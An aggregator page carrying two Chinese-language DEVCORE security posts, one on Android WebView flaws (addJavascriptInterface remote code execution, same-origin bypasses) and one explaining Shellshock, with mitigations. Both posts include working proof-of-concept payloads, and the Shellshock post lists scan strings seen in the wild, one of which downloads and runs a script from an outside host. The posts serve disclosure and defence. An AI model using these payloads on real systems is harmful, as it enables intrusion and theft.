Aggregator

Android WebView 為你的使用者打開了漏洞之門你知道嗎？

DEVCORE 戴夫寇爾
10 years 5 months ago

為了解決在應用程式中顯示網頁的需求，開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上，開發者通常也會把 WebView 處理 JavaScript 的功能打開，好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時，背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞 1. 遠端代碼執行 (Remote Code Execution) 風險：木馬跳板，個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上，該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”，通過預先設定好的介面，讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject { public String toString() { return "Hello World"; } } webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadUrl("http://www.example.com/"); <html> <head>… <script> alert(injectedObject.toString()); // return "Hello World" </script> </head> <body>…</body> </html>

像上面的例子裡，網頁能通過預先設定好的 “injectedObject” 介面，呼叫 “toString” 函式，得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來，攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null) .invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]); </script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制，使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface。

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢？答案是否定的。

在 Android 3.X ~ 4.1 上，WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地，從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外，還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具]，打開 [服務] 子分類中的任何一個項目，系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

2. 繞過同源策略 (Same-Origin Policy bypass) 風險：個資被盜

為防止網頁在載入外部資源時引發安全問題，瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞，通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html> <head> <title>CVE-2014-6041 UXSS DEMO</title> </head> <body> <iframe name="target_frame" src="http://devco.re/"></iframe> <br /> <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)', 'target_frame')" /> </body> </html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方，正常來說點擊按鈕後會因為 SOP 的關係，該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久，再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script> window.onload = function() { object = document.createElement("object"); object.setAttribute("data", "http://www.bing.com"); document.body.appendChild(object); object.onload = function() { object.setAttribute("data", "javascript:alert(document.domain)"); object.innerHTML = "foobar"; } } </script>

上述的跨來源操作同樣違反了 SOP，應當被拒絕執行。但他卻能在有風險的 WebView 上被執行，造成風險。

防範

作為開發者

  • 如非需要，關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內，再用其他途徑載入資料

作為使用者

  • 如非需要，關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統
結語

談到這裡大家可能會有個疑問，如果應用程式中所載入的遠端網頁網址都是固定，受開發者控制的，應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎？如果連線過程是採用明文的 HTTP ，或是加密的 HTTPS 但沒落實做好憑證檢查，內容就有機會被攻擊者竊取修改，再結合上面提到的漏洞，對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞，模擬使用者手機被入侵的影片：

從影片的最後可以看到，攻擊者取得存在漏洞的應用程式權限，並取得裡面的機敏資料。

而在繞過同源策略問題上，無論是透過 null byte 或是設定屬性來達到，其實都是屬於存在已久的手法，多年前在別的平台、瀏覽器上就已經發生過，除了編寫上的疏忽外，缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題，使得大多數的使用者手機未能跟得上系統更新的步驟，讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商，應需要在系統支援度與其相應存在的安全風險中取得平衡，來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者，應為已被公開的漏洞做好應對措施，避免使用者暴露在風險當中。

參考

Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中，但無需過度恐慌

DEVCORE 戴夫寇爾
10 years 5 months ago

自 9/24 以來，不少資訊圈朋友日以繼夜的忙碌，這都多虧了藏在 Bash 裡 22 年的安全漏洞－Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言，這是今年來第二波淘金潮，相較於上次 Heartbleed 駭客們的刮刮樂遊戲需要拼運氣，這次的 Shellshock 只要一發現利用點，就能馬上擁有基本的系統操作權限，也難怪 NVD 給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下：

  • Bash 4.3 Patch 25 （含）以前版本
  • Bash 4.2 Patch 48 （含）以前版本
  • Bash 4.1 Patch 12 （含）以前版本
  • Bash 4.0 Patch 39 （含）以前版本
  • Bash 3.2 Patch 52 （含）以前版本
  • Bash 3.1 Patch 18 （含）以前版本
  • Bash 3.0 Patch 17 （含）以前版本
  • Bash 2.0.5b Patch 8 （含）以前版本
  • Bash 1.14.7 （含）以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼，並且順利將這些環境變數傳入 bash，bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重，一來是因為攻擊語法相當簡單，只需要一行指令，就可以直接對系統進行操作；二來是因為 bash 使用範圍極廣，多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下：

作業系統 預設 shell CentOS bash Fedora bash RHEL bash Mac OS X bash Android 早期是 ash, 3.0 開始是 mksh Debian sh (Lenny, 5.0)
dash (Squeeze, 6.0) embedded device 大部分使用 busybox (ash) FreeBSD tcsh Ubuntu dash iOS Jailbreak 後是 bash


我們看到近半數知名的 un*x 系統預設使用 bash，可以推想這次影響範圍有多廣，尤其是許多服務都架構在這之上，若遭受到攻擊，損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統，也並不意味著完全沒有風險，例如 Ubuntu 在 DHCP 客戶端使用到 bash ，就仍然會有風險，下面文章中也會提到這樣的狀況。另外，早期新聞中常出現物聯網設備會受此漏洞影響的報導，經過我們實測，物聯網設備為求精簡，大多使用 busybox，而其 shell 為 ash，故大多數設備在這次 Shellshock 威脅中影響不大，不過儘管物聯網設備逃過了這次 Shellshock 事件，有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後，惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊，一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節，他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74，並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中，若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash，就會受到惡意語法的影響，執行 ping -c 3 209.126.230.74 指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理，惡意攻擊者開始在 HTTP 表頭中置入惡意的語法，大量去掃描網路上的 CGI 網頁，因為這種網頁常呼叫系統指令，所以成功機率都頗高，攻擊成功的結果如下圖，從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

詳細的實作流程請參考下面影片：

我們團隊也在 CGI 環境下執行幾種程式語言進行測試，發現用到以下 function 時會讀取到環境變數（date 只是範例，可代換為其他系統指令），因此若伺服器在 CGI 環境下使用這些 function，會為伺服器本身帶來嚴重風險。

Language Vulnerable Function Perl exec(“date > /dev/null”);
open(SHELLSHOCK, “| date > /dev/null”);
system(“date > /dev/null;”);
print `date > /dev/null` PHP exec(‘date’);
system(‘date’);
mb_send_mail(); Python os.system(‘date’)
subprocess.call(‘date’, shell=True)
subprocess.Popen(‘date’, shell=True) Ruby `date`
exec ‘date’
system ‘date’


建置惡意 DHCP 伺服器感染連線使用者

同時，有另一批人發現某些作業系統在進行 DHCP 連線時，會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是，若建置一個惡意 DHCP 伺服器，對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者，在使用者建立連線的當下放置後門，實驗過程如下影片：


我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響，基本上，常見的 un*x 系統開機後自動連線基本上都會中招。

OS Version Vulnerable CentOS 7.0 YES Debian 7.6 YES Fedora 20 YES Ubuntu 10.04.1 LTS YES Ubuntu 14.04.1 LTS YES Android 4.4.4 NO Apple iOS 7.0.4 NO FreeBSD 10.0 NO Gentoo 20140925 NO (已修復) Linux Mint 17 “Qiana” Cinnamon NO 1 Linux Mint Debian 201403 Cinnamon NO 1 Mac OS X 10.9.5 NO openSUSE 13.2 NO 2 Synology 5.0-4493 update 7 NO (已修復)


繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制，最常見的就是 Git 和 Subversion 伺服器： 通常這些伺服器允許透過 SSH 連線，但登入後都對應著受限制的 shell。透過此漏洞，可以繞過 shell 的限制，執行指令如下圖。（註：OS 中 git user 預設 shell 要為 bash 才會受到影響）

一般我們要實作特定使用者登入 ssh 只能做特定的事情，常常會在 sshd_config 設定 ForceCommand，或是在 authorized_keys 設定 command= 如下：

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響，就是因為這些設定會在使用者透過 ssh 登入時，呼叫 bash 執行，當環境變數被引入，惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方，如同前面所述，找到可以寫入環境變數的地方，並且順利傳入 bash 執行，就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今，陸陸續續傳出了很多公司的產品受到此弱點影響，整理在此，也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如：OpenVPN、Pure-FTPd，而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數，截至目前為止我們仍持續發現網路上有各種掃描樣本，例如：

  • () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
  • () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
  • () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例，我們認為，一些公司購入的網路設備是 Shellshock 潛在高危險群，那些買來就擺在旁邊維運的設備，一來容易被忽略，二來是其更新不易，三來這些設備常使用到 bash，因此仍是現在惡意攻擊者專注研究的目標，請大家特別小心。

結論：無需過度恐慌，但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍！」

不少朋友看到最近 Shellshock 的新聞報導，都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本，但要成功執行攻擊手法需要許多條件，被攻擊者從遠端攻擊的機率偏低，因此大家不需要太過恐慌，只要注意以下設備或伺服器：

  • 特定 Linux 版本，並且使用 DHCP 連線
  • 網路、資安設備
  • 使用 CGI 的網站伺服器
  • 已經公布含有弱點的套件

那我們該怎麼自保呢？在攻擊手法不斷精進之下，只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本，並持續關注後續更新訊息（目前持續有繞過檢查的新 CVE 弱點發佈），使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍，也記得向原廠索取更新程式。

題外話

有人說：「Linux 在 2014 年接連出包，真是一個不安全的作業系統！反觀 Windows 在這幾次都毫無影響，企業應該要全面改用 Microsoft Solution！」，但這真的是正確的想法嗎？其實一個 OpenSource 的系統、軟體，可以藉由社群的力量檢視原始碼的問題，集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞，對於一個系統來說是好事。而非 OpenSource 的系統，就只能仰賴原廠自己的資安團隊進行研究，或者是外部資安人員的發掘了。選擇作業系統的原則，最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面，才能夠選用真正符合自己需要的系統。

註解

  1. 若手動執行 dhclient，則會遭到漏洞影響。 ↩ ↩2

  2. 系統環境變數會受到影響，但無法被攻擊者利用。 ↩

Managed ad